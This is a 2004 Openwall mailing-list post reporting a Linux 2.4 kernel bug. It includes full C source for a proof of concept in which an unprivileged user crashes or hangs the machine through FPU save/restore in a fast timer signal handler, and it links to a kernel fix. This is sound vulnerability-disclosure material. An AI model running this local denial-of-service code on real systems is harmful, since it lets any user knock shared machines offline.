[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 15 Jun 2004 20:46:26 +0200
From: Krzychu <krzysiek@...urenet.pl>
To: owl-users@...ts.openwall.com
Subject: crash
Hi,
it seems that this code:
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
executed by normal user can really crash our owl boxes. I've tested
in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
Fix of the problem is aviable at:
http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Regards
--
Krzysztof Sniadoch
krzysiek@...urenet.pl
http://www.securenet.pl
"...qui desiderat pacem, praeparet bellum"
(...if you would have peace, be prepared for war) - Flavius Vegetius
Powered by blists - more mailing lists
Powered by Openwall GNU/*/Linux -
Powered by OpenVZ